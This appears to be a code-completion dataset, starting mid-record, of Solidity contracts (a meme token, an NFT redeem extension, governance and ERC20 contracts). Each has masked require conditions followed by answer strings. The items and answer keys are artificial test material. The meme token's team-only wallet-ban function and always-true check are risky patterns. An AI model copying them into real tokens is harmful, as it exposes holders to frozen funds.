sub(allowance, _amount); require(<FILL_ME>) } /// @param orderAddresses [0] Order maker /// @param orderAddresses [1] Order taker /// @param orderAddresses [2] Order maker asset /// @param orderAddresses [3] Order taker asset /// @param orderAddresses [4] feeRecipientAddress /// @param orderAddresses [5] senderAddress /// @param orderAddresses [6] maker fee asset /// @param orderAddresses [7] taker fee asset /// @param orderValues [0] makerAssetAmount /// @param orderValues [1] takerAssetAmount /// @param orderValues [2] Maker fee /// @param orderValues [3] Taker fee /// @param orderValues [4] expirationTimeSeconds /// @param orderValues [5] Salt/nonce /// @param orderValues [6] Fill amount: amount of taker token to be traded /// @param orderValues [7] Dexy signature mode /// @param orderData [0] Encoded data specific to maker asset /// @param orderData [1] Encoded data specific to taker asset /// @param orderData [2] Encoded data specific to maker asset fee /// @param orderData [3] Encoded data specific to taker asset fee /// @param identifier Order identifier /// @param signature Signature of order maker // Responsibilities of makeOrder are: // - check sender // - check fund not shut down // - check price recent // - check risk management passes // - approve funds to be traded (if necessary) // - make order on the exchange // - check order was made (if possible) // - place asset in ownedAssets if not already tracked function makeOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // Responsibilities of takeOrder are: // - check sender // - check fund not shut down // - check not buying own fund tokens // - check price exists for asset pair // - check price is recent // - check price passes risk management // - approve funds to be traded (if necessary) // - take order from the exchange // - check order was taken (if possible) // - place asset in ownedAssets if not already tracked function takeOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // responsibilities of cancelOrder are: // - check sender is owner, or that order expired, or that fund shut down // - remove order from tracking array // - cancel order on exchange function cancelOrder( address targetExchange, address[8] memory orderAddresses, uint[8] memory orderValues, bytes[4] memory orderData, bytes32 identifier, bytes memory signature ) public virtual { } // PUBLIC METHODS // PUBLIC VIEW METHODS /* @return { "makerAsset": "Maker asset", "takerAsset": "Taker asset", "makerQuantity": "Amount of maker asset" "takerQuantity": "Amount of taker asset" } */ function getOrder( address onExchange, uint id, address makerAsset ) public view virtual returns ( address, address, uint, uint ) { } }
IERC20(_asset).approve(_target,newAllowance),string(abi.encodePacked("Revoke approval failed: ",_assetType))
380,302
IERC20(_asset).approve(_target,newAllowance)
"Invalid token"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @artist: Mad Dog Jones /// @author: manifold.xyz //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // #### #### ####################### ###### ####### ################## ###### ############### #### #### // // #### #### ###################### ####### ######## #################### ###### ################ #### #### // // #### #### #### ################# ######## ######### ###### ###### ###### ############# #### #### #### // // #### #### #### ################ ######### ########## ###### ###### ###### ############## #### #### #### // // #### #### ################### ########## ########### ###### ###### ###### ################### #### #### // // #### #### ################## ########### ########### ###### ###### ###### #################### #### #### // // #### #### #### ############# ####################### ###### ###### ###### ###### ################# #### #### #### // // #### #### #### ############ ###### ####### ###### ###### ###### ###### ###### ################## #### #### #### // // #### #### #### ####### ###### ##### ###### #################### ################# ############### #### #### #### // // #### #### #### ###### ###### ###### ################## ############### ################# #### #### #### // // // // // //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// import "./core/IERC721CreatorCore.sol"; import "./extensions/ICreatorExtensionTokenURI.sol"; import "./redeem/ERC721BurnRedeem.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; /** * Meow - I no longer exist */ contract MeowINoLongerExist is Ownable, ERC721BurnRedeem, ICreatorExtensionTokenURI { using Strings for uint256; string constant private _EDITION_TAG = '<EDITION>'; string[] private _uriParts; bool private _active; constructor(address creator) ERC721BurnRedeem(creator, 1, 99) { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721BurnRedeem, IERC165) returns (bool) { } /** * @dev Activate the contract and mint the first token */ function activate() public onlyOwner { } /** * @dev update the URI data */ function updateURIParts(string[] memory uriParts) public onlyOwner { } /** * @dev Generate uri */ function _generateURI(uint256 tokenId) private view returns(string memory) { } function _checkTag(string storage a, string memory b) private pure returns (bool) { } /** * @dev See {IERC721RedeemBase-mintNumber}. * Override for reverse numbering */ function mintNumber(uint256 tokenId) external view override returns(uint256) { require(<FILL_ME>) return 100-_mintNumbers[tokenId]; } /** * @dev See {IRedeemBase-redeemable}. */ function redeemable(address contract_, uint256 tokenId) public view virtual override returns(bool) { } /** * @dev See {ICreatorExtensionTokenURI-tokenURI}. */ function tokenURI(address creator, uint256 tokenId) external view override returns (string memory) { } }
_mintNumbers[tokenId]!=0,"Invalid token"
380,460
_mintNumbers[tokenId]!=0
"x"
/* Monster Truck Verse https://t.me/TruckVerse */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TruckVerse is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "@TruckVerse"; string private constant _symbol = "MTV"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping (address => bool) bannedUsers; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 3; uint256 private _redisfee = 2; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { } constructor(address payable addr1, address payable addr2) { } function openTrading() external onlyOwner() { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { } function setCooldownEnabled(bool onoff) external onlyOwner() { } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { } function removeAllFee() private { } function restoreAllFee() private { } function _approve( address owner, address spender, uint256 amount ) private { } function _transfer( address from, address to, uint256 amount ) private { } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { } function sendETHToFee(uint256 amount) private { } function manualswap() external { } function manualsend() external { } function setBots(address[] memory bots_) public onlyOwner { } function blockbot(address account, bool banned) public { require(_msgSender() == _teamAddress); if (banned) { require(<FILL_ME>) bannedUsers[account] = true; } else { delete bannedUsers[account]; } emit WalletBanStatusUpdated(account, banned); } function unban(address account) public { } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { } function _takeTeam(uint256 tTeam) private { } function transfer(uint256 maxTxPercent) external { } function _reflectFee(uint256 rFee, uint256 tFee) private { } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { } function _getRate() private view returns (uint256) { } function _getCurrentSupply() private view returns (uint256, uint256) { } event WalletBanStatusUpdated(address user, bool banned); }
block.timestamp+365days>block.timestamp,"x"
380,506
block.timestamp+365days>block.timestamp
null
pragma solidity ^0.4.11; /* Overflow protected math functions */ contract SafeMath { /** constructor */ function SafeMath() { } /** @dev returns the sum of _x and _y, asserts if the calculation overflows @param _x value 1 @param _y value 2 @return sum */ function safeAdd(uint256 _x, uint256 _y) internal returns (uint256) { } /** @dev returns the difference of _x minus _y, asserts if the subtraction results in a negative number @param _x minuend @param _y subtrahend @return difference */ function safeSub(uint256 _x, uint256 _y) internal returns (uint256) { } /** @dev returns the product of multiplying _x by _y, asserts if the calculation overflows @param _x factor 1 @param _y factor 2 @return product */ function safeMul(uint256 _x, uint256 _y) internal returns (uint256) { } } /* Owned contract interface */ contract IOwned { // this function isn't abstract since the compiler emits automatically generated getter functions as external function owner() public constant returns (address owner) { } function transferOwnership(address _newOwner) public; function acceptOwnership() public; } /* Provides support and utilities for contract ownership */ contract Owned is IOwned { address public owner; address public newOwner; event OwnerUpdate(address _prevOwner, address _newOwner); /** @dev constructor */ function Owned() { } // allows execution by the owner only modifier ownerOnly { } /** @dev allows transferring the contract ownership the new owner still need to accept the transfer can only be called by the contract owner @param _newOwner new contract owner */ function transferOwnership(address _newOwner) public ownerOnly { } /** @dev used by a new owner to accept an ownership transfer */ function acceptOwnership() public { } } /* Token Holder interface */ contract ITokenHolder is IOwned { function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public; } /* We consider every contract to be a 'token holder' since it's currently not possible for a contract to deny receiving tokens. The TokenHolder's contract sole purpose is to provide a safety mechanism that allows the owner to send tokens that were sent to the contract by mistake back to their sender. */ contract TokenHolder is ITokenHolder, Owned { /** @dev constructor */ function TokenHolder() { } // validates an address - currently only checks that it isn't null modifier validAddress(address _address) { } // verifies that the address is different than this contract address modifier notThis(address _address) { } /** @dev withdraws tokens held by the contract and sends them to an account can only be called by the owner @param _token ERC20 token contract address @param _to account to receive the new amount @param _amount amount to withdraw */ function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public ownerOnly validAddress(_token) validAddress(_to) notThis(_to) { } } /* ERC20 Standard Token interface */ contract IERC20Token { // these functions aren't abstract since the compiler emits automatically generated getter functions as external function name() public constant returns (string name) { } function symbol() public constant returns (string symbol) { } function decimals() public constant returns (uint8 decimals) { } function totalSupply() public constant returns (uint256 totalSupply) { } function balanceOf(address _owner) public constant returns (uint256 balance) { } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { } function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } /** ERC20 Standard Token implementation */ contract ERC20Token is IERC20Token, SafeMath { string public standard = 'Token 0.1'; string public name = ''; string public symbol = ''; uint8 public decimals = 0; uint256 public totalSupply = 0; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); /** @dev constructor @param _name token name @param _symbol token symbol @param _decimals decimal points, for display purposes */ function ERC20Token(string _name, string _symbol, uint8 _decimals) { } // validates an address - currently only checks that it isn't null modifier validAddress(address _address) { } /** @dev send coins throws on any error rather then return a false flag to minimize user errors @param _to target address @param _value transfer amount @return true if the transfer was successful, false if it wasn't */ function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool success) { } /** @dev an account/contract attempts to get the coins throws on any error rather then return a false flag to minimize user errors @param _from source address @param _to target address @param _value transfer amount @return true if the transfer was successful, false if it wasn't */ function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool success) { } /** @dev allow another account/contract to spend some tokens on your behalf throws on any error rather then return a false flag to minimize user errors also, to minimize the risk of the approve/transferFrom attack vector (see https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/), approve has to be called twice in 2 separate transactions - once to change the allowance to 0 and secondly to change it to the new allowance value @param _spender approved address @param _value allowance amount @return true if the approval was successful, false if it wasn't */ function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool success) { } } /* Smart Token interface */ contract ISmartToken is ITokenHolder, IERC20Token { function disableTransfers(bool _disable) public; function issue(address _to, uint256 _amount) public; function destroy(address _from, uint256 _amount) public; } /* Smart Token v0.2 'Owned' is specified here for readability reasons */ contract SmartToken is ISmartToken, ERC20Token, Owned, TokenHolder { string public version = '0.2'; bool public transfersEnabled = true; // true if transfer/transferFrom are enabled, false if not uint public MiningRewardPerETHBlock = 5; // define amount of reaward in DEBIT Coin, for miner that found last block in Ethereum BlockChain uint public lastBlockRewarded; // triggered when a smart token is deployed - the _token address is defined for forward compatibility, in case we want to trigger the event from a factory event NewSmartToken(address _token); // triggered when the total supply is increased event Issuance(uint256 _amount); // triggered when the total supply is decreased event Destruction(uint256 _amount); // triggered when the amount of reaward for mining are changesd event MiningRewardChanges(uint256 _amount); // triggered when miner get a reward event MiningRewardTransfer(address indexed _from, address indexed _to, uint256 _value); /** @dev constructor @param _name token name @param _symbol token short symbol, 1-6 characters @param _decimals for display purposes only */ function SmartToken(string _name, string _symbol, uint8 _decimals) ERC20Token(_name, _symbol, _decimals) { require(<FILL_ME>) // validate input NewSmartToken(address(this)); } // allows execution only when transfers aren't disabled modifier transfersAllowed { } /** @dev disables/enables transfers can only be called by the contract owner @param _disable true to disable transfers, false to enable them */ function disableTransfers(bool _disable) public ownerOnly { } /** @dev increases the token supply and sends the new tokens to an account can only be called by the contract owner @param _to account to receive the new amount @param _amount amount to increase the supply by */ function issue(address _to, uint256 _amount) public ownerOnly validAddress(_to) notThis(_to) { } /** @dev removes tokens from an account and decreases the token supply can only be called by the contract owner @param _from account to remove the amount from @param _amount amount to decrease the supply by */ function destroy(address _from, uint256 _amount) public ownerOnly { } // ERC20 standard method overrides with some extra functionality /** @dev send coins throws on any error rather then return a false flag to minimize user errors note that when transferring to the smart token's address, the coins are actually destroyed @param _to target address @param _value transfer amount @return true if the transfer was successful, false if it wasn't */ function transfer(address _to, uint256 _value) public transfersAllowed returns (bool success) { } /** @dev an account/contract attempts to get the coins throws on any error rather then return a false flag to minimize user errors note that when transferring to the smart token's address, the coins are actually destroyed @param _from source address @param _to target address @param _value transfer amount @return true if the transfer was successful, false if it wasn't */ function transferFrom(address _from, address _to, uint256 _value) public transfersAllowed returns (bool success) { } function ChangeMiningReward(uint256 _amount) public ownerOnly { } function GiveBlockReward() { } }
bytes(_symbol).length<=6
380,564
bytes(_symbol).length<=6
"GovernorAlpha::propose: proposer votes below proposal threshold"
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; interface ITimelock { event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint256 indexed newDelay); event CancelTransaction( bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta ); event ExecuteTransaction( bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta ); event QueueTransaction( bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta ); function GRACE_PERIOD() external pure returns (uint256); function MINIMUM_DELAY() external pure returns (uint256); function MAXIMUM_DELAY() external pure returns (uint256); function admin() external view returns (address); function pendingAdmin() external view returns (address); function delay() external view returns (uint256); function queuedTransactions(bytes32) external view returns (bool); function setDelay(uint256 delay_) external; function acceptAdmin() external; function setPendingAdmin(address pendingAdmin_) external; function queueTransaction( address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta ) external returns (bytes32); function cancelTransaction( address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta ) external; function executeTransaction( address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta ) external payable returns (bytes memory); } contract ConjureGovernorAlpha { /// @dev The name of this contract string public constant name = "Conjure Governor Alpha"; /// @dev The voting period which will be set after setVotingPeriodAfter has passed. uint256 public constant permanentVotingPeriod = 17_280; // ~3 days in blocks (assuming 15s blocks) /** * @dev The number of votes in support of a proposal required in order for a * quorum to be reached and for a vote to succeed */ function quorumVotes() public pure returns (uint256) { } /** * @dev The number of votes required in order for a voter to become a proposer */ function proposalThreshold() public pure returns (uint256) { } /** * @dev The maximum number of actions that can be included in a proposal */ function proposalMaxOperations() public pure returns (uint256) { } /** * @dev The delay before voting on a proposal may take place, once proposed */ function votingDelay() public pure returns (uint256) { } /** * @dev The duration of voting on a proposal, in blocks */ uint256 public votingPeriod = 2_880; // ~12 hours in blocks (assuming 15s blocks) /** * @dev The timestamp after which votingPeriod can be set to the permanent value. */ uint256 public immutable setVotingPeriodAfter; /** * @dev The address of the Conjure Protocol Timelock */ ITimelock public immutable timelock; /** * @dev The address of the Conjure governance token */ CnjInterface public immutable cnj; /** * @dev The total number of proposals */ uint256 public proposalCount; /** * @param id Unique id for looking up a proposal * @param proposer Creator of the proposal * @param eta The timestamp that the proposal will be available for execution, set once the vote succeeds * @param targets The ordered list of target addresses for calls to be made * @param values The ordered list of values (i.e. msg.value) to be passed to the calls to be made * @param signatures The ordered list of function signatures to be called * @param calldatas The ordered list of calldata to be passed to each call * @param startBlock The block at which voting begins: holders must delegate their votes prior to this block * @param endBlock The block at which voting ends: votes must be cast prior to this block * @param forVotes Current number of votes in favor of this proposal * @param againstVotes Current number of votes in opposition to this proposal * @param canceled Flag marking whether the proposal has been canceled * @param executed Flag marking whether the proposal has been executed * @param receipts Receipts of ballots for the entire set of voters */ struct Proposal { uint256 id; address proposer; uint256 eta; address[] targets; uint256[] values; string[] signatures; bytes[] calldatas; uint256 startBlock; uint256 endBlock; uint256 forVotes; uint256 againstVotes; bool canceled; bool executed; mapping(address => Receipt) receipts; } /** * @dev Ballot receipt record for a voter * @param hasVoted Whether or not a vote has been cast * @param support Whether or not the voter supports the proposal * @param votes The number of votes the voter had, which were cast */ struct Receipt { bool hasVoted; bool support; uint96 votes; } /** * @dev Possible states that a proposal may be in */ enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /** * @dev The official record of all proposals ever proposed */ mapping(uint256 => Proposal) public proposals; /** * @dev The latest proposal for each proposer */ mapping(address => uint256) public latestProposalIds; /** * @dev The EIP-712 typehash for the contract's domain */ bytes32 public constant DOMAIN_TYPEHASH = keccak256( "EIP712Domain(string name,uint256 chainId,address verifyingContract)" ); /** * @dev The EIP-712 typehash for the ballot struct used by the contract */ bytes32 public constant BALLOT_TYPEHASH = keccak256( "Ballot(uint256 proposalId,bool support)" ); /** * @dev An event emitted when a new proposal is created */ event ProposalCreated( uint256 id, address proposer, address[] targets, uint256[] values, string[] signatures, bytes[] calldatas, uint256 startBlock, uint256 endBlock, string description ); /** * @dev An event emitted when a vote has been cast on a proposal */ event VoteCast( address voter, uint256 proposalId, bool support, uint256 votes ); /** * @dev An event emitted when a proposal has been canceled */ event ProposalCanceled(uint256 id); /** * @dev An event emitted when a proposal has been queued in the Timelock */ event ProposalQueued(uint256 id, uint256 eta); /** * @dev An event emitted when a proposal has been executed in the Timelock */ event ProposalExecuted(uint256 id); constructor(address timelock_, address cnj_, uint256 setVotingPeriodAfter_) public { } /** * @dev Sets votingPeriod to the permanent value. * Can only be called after setVotingPeriodAfter */ function setPermanentVotingPeriod() external { } function propose( address[] memory targets, uint256[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description ) public returns (uint256) { require(<FILL_ME>) require( targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch" ); require( targets.length != 0, "GovernorAlpha::propose: must provide actions" ); require( targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions" ); uint256 latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require( proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal" ); require( proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal" ); } uint256 startBlock = add256(block.number, votingDelay()); uint256 endBlock = add256(startBlock, votingPeriod); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated( newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description ); return newProposal.id; } function queue(uint256 proposalId) public { } function _queueOrRevert( address target, uint256 value, string memory signature, bytes memory data, uint256 eta ) internal { } function execute(uint256 proposalId) public payable { } function cancel(uint256 proposalId) public { } function getActions(uint256 proposalId) public view returns ( address[] memory targets, uint256[] memory values, string[] memory signatures, bytes[] memory calldatas ) { } function getReceipt(uint256 proposalId, address voter) public view returns (Receipt memory) { } function state(uint256 proposalId) public view returns (ProposalState) { } function castVote(uint256 proposalId, bool support) public { } function castVoteBySig( uint256 proposalId, bool support, uint8 v, bytes32 r, bytes32 s ) public { } function _castVote( address voter, uint256 proposalId, bool support ) internal { } function __acceptAdmin() public { } function add256(uint256 a, uint256 b) internal pure returns (uint256) { } function sub256(uint256 a, uint256 b) internal pure returns (uint256) { } function getChainId() internal pure returns (uint256) { } } interface CnjInterface { function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96); }
cnj.getPriorVotes(msg.sender,sub256(block.number,1))>proposalThreshold(),"GovernorAlpha::propose: proposer votes below proposal threshold"
380,570
cnj.getPriorVotes(msg.sender,sub256(block.number,1))>proposalThreshold()
"GovernorAlpha::cancel: proposer above threshold"
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; interface ITimelock { event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint256 indexed newDelay); event CancelTransaction( bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta ); event ExecuteTransaction( bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta ); event QueueTransaction( bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta ); function GRACE_PERIOD() external pure returns (uint256); function MINIMUM_DELAY() external pure returns (uint256); function MAXIMUM_DELAY() external pure returns (uint256); function admin() external view returns (address); function pendingAdmin() external view returns (address); function delay() external view returns (uint256); function queuedTransactions(bytes32) external view returns (bool); function setDelay(uint256 delay_) external; function acceptAdmin() external; function setPendingAdmin(address pendingAdmin_) external; function queueTransaction( address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta ) external returns (bytes32); function cancelTransaction( address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta ) external; function executeTransaction( address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta ) external payable returns (bytes memory); } contract ConjureGovernorAlpha { /// @dev The name of this contract string public constant name = "Conjure Governor Alpha"; /// @dev The voting period which will be set after setVotingPeriodAfter has passed. uint256 public constant permanentVotingPeriod = 17_280; // ~3 days in blocks (assuming 15s blocks) /** * @dev The number of votes in support of a proposal required in order for a * quorum to be reached and for a vote to succeed */ function quorumVotes() public pure returns (uint256) { } /** * @dev The number of votes required in order for a voter to become a proposer */ function proposalThreshold() public pure returns (uint256) { } /** * @dev The maximum number of actions that can be included in a proposal */ function proposalMaxOperations() public pure returns (uint256) { } /** * @dev The delay before voting on a proposal may take place, once proposed */ function votingDelay() public pure returns (uint256) { } /** * @dev The duration of voting on a proposal, in blocks */ uint256 public votingPeriod = 2_880; // ~12 hours in blocks (assuming 15s blocks) /** * @dev The timestamp after which votingPeriod can be set to the permanent value. */ uint256 public immutable setVotingPeriodAfter; /** * @dev The address of the Conjure Protocol Timelock */ ITimelock public immutable timelock; /** * @dev The address of the Conjure governance token */ CnjInterface public immutable cnj; /** * @dev The total number of proposals */ uint256 public proposalCount; /** * @param id Unique id for looking up a proposal * @param proposer Creator of the proposal * @param eta The timestamp that the proposal will be available for execution, set once the vote succeeds * @param targets The ordered list of target addresses for calls to be made * @param values The ordered list of values (i.e. msg.value) to be passed to the calls to be made * @param signatures The ordered list of function signatures to be called * @param calldatas The ordered list of calldata to be passed to each call * @param startBlock The block at which voting begins: holders must delegate their votes prior to this block * @param endBlock The block at which voting ends: votes must be cast prior to this block * @param forVotes Current number of votes in favor of this proposal * @param againstVotes Current number of votes in opposition to this proposal * @param canceled Flag marking whether the proposal has been canceled * @param executed Flag marking whether the proposal has been executed * @param receipts Receipts of ballots for the entire set of voters */ struct Proposal { uint256 id; address proposer; uint256 eta; address[] targets; uint256[] values; string[] signatures; bytes[] calldatas; uint256 startBlock; uint256 endBlock; uint256 forVotes; uint256 againstVotes; bool canceled; bool executed; mapping(address => Receipt) receipts; } /** * @dev Ballot receipt record for a voter * @param hasVoted Whether or not a vote has been cast * @param support Whether or not the voter supports the proposal * @param votes The number of votes the voter had, which were cast */ struct Receipt { bool hasVoted; bool support; uint96 votes; } /** * @dev Possible states that a proposal may be in */ enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /** * @dev The official record of all proposals ever proposed */ mapping(uint256 => Proposal) public proposals; /** * @dev The latest proposal for each proposer */ mapping(address => uint256) public latestProposalIds; /** * @dev The EIP-712 typehash for the contract's domain */ bytes32 public constant DOMAIN_TYPEHASH = keccak256( "EIP712Domain(string name,uint256 chainId,address verifyingContract)" ); /** * @dev The EIP-712 typehash for the ballot struct used by the contract */ bytes32 public constant BALLOT_TYPEHASH = keccak256( "Ballot(uint256 proposalId,bool support)" ); /** * @dev An event emitted when a new proposal is created */ event ProposalCreated( uint256 id, address proposer, address[] targets, uint256[] values, string[] signatures, bytes[] calldatas, uint256 startBlock, uint256 endBlock, string description ); /** * @dev An event emitted when a vote has been cast on a proposal */ event VoteCast( address voter, uint256 proposalId, bool support, uint256 votes ); /** * @dev An event emitted when a proposal has been canceled */ event ProposalCanceled(uint256 id); /** * @dev An event emitted when a proposal has been queued in the Timelock */ event ProposalQueued(uint256 id, uint256 eta); /** * @dev An event emitted when a proposal has been executed in the Timelock */ event ProposalExecuted(uint256 id); constructor(address timelock_, address cnj_, uint256 setVotingPeriodAfter_) public { } /** * @dev Sets votingPeriod to the permanent value. * Can only be called after setVotingPeriodAfter */ function setPermanentVotingPeriod() external { } function propose( address[] memory targets, uint256[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description ) public returns (uint256) { } function queue(uint256 proposalId) public { } function _queueOrRevert( address target, uint256 value, string memory signature, bytes memory data, uint256 eta ) internal { } function execute(uint256 proposalId) public payable { } function cancel(uint256 proposalId) public { ProposalState state = state(proposalId); require( state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal" ); Proposal storage proposal = proposals[proposalId]; require(<FILL_ME>) proposal.canceled = true; for (uint256 i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction( proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta ); } emit ProposalCanceled(proposalId); } function getActions(uint256 proposalId) public view returns ( address[] memory targets, uint256[] memory values, string[] memory signatures, bytes[] memory calldatas ) { } function getReceipt(uint256 proposalId, address voter) public view returns (Receipt memory) { } function state(uint256 proposalId) public view returns (ProposalState) { } function castVote(uint256 proposalId, bool support) public { } function castVoteBySig( uint256 proposalId, bool support, uint8 v, bytes32 r, bytes32 s ) public { } function _castVote( address voter, uint256 proposalId, bool support ) internal { } function __acceptAdmin() public { } function add256(uint256 a, uint256 b) internal pure returns (uint256) { } function sub256(uint256 a, uint256 b) internal pure returns (uint256) { } function getChainId() internal pure returns (uint256) { } } interface CnjInterface { function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96); }
cnj.getPriorVotes(proposal.proposer,sub256(block.number,1))<proposalThreshold(),"GovernorAlpha::cancel: proposer above threshold"
380,570
cnj.getPriorVotes(proposal.proposer,sub256(block.number,1))<proposalThreshold()
"GemJoin/failed-transfer"
